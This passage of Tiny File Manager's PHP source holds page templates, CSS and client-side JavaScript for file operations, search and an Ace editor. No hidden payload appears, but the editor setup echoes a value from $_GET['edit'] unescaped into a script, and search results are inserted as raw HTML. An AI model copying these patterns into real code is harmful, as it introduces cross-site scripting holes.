16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){ 
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){ 
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php if (FM_USE_HIGHLIGHTJS): ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
    <?php endif; ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) { 
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php echo fm_get_theme(); ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2">Search file in folder and subfolders...</p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer
     */
    function fm_show_footer()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script>
    <script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};
                
                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
                
            }
            else{
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);


    // Dom Ready Event
    $(document).ready( function () {
        //load config
        fm_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging":   false, "info":     false, "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): 
        $ext = "javascript";
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML 